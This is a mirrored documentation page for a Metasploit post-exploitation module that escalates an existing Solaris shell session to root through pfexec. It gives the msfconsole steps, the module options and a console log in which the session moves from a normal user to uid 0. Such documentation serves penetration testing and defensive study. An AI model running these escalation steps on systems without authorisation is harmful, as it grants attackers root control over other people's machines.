CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/documentation/modules/post/solaris/escalate/pfexec.md
Views: 11789

Description

This module attempts to upgrade a shell session to UID 0 using pfexec.

Vulnerable Application

Verification Steps

  1. Start msfconsole

  2. Get a session

  3. use post/solaris/escalate/pfexec

  4. set SESSION <SESSION>

  5. run

  6. Your session should now have root privileges

Options

PFEXEC_PATH

Path to pfexec (default: /usr/bin/pfexec)

SHELL_PATH

Path to shell (default: /bin/sh)

Scenarios

msf5 > use post/solaris/escalate/pfexec msf5 post(solaris/escalate/pfexec) > sessions -i 1 -c id [*] Running 'id' on shell session 1 (172.16.191.221) uid=100(user) gid=10(staff) msf5 post(solaris/escalate/pfexec) > set verbose true verbose => true msf5 post(solaris/escalate/pfexec) > set session 1 session => 1 msf5 post(solaris/escalate/pfexec) > run [*] Trying pfexec as `user' ... [*] uid=0(root) gid=0(root) [+] Success! Upgrading session ... [+] Success! root shell secured [*] Post module execution completed msf5 post(solaris/escalate/pfexec) > sessions -i 1 -c id [*] Running 'id' on shell session 1 (172.16.191.221) uid=0(root) gid=0(root) msf5 post(solaris/escalate/pfexec) >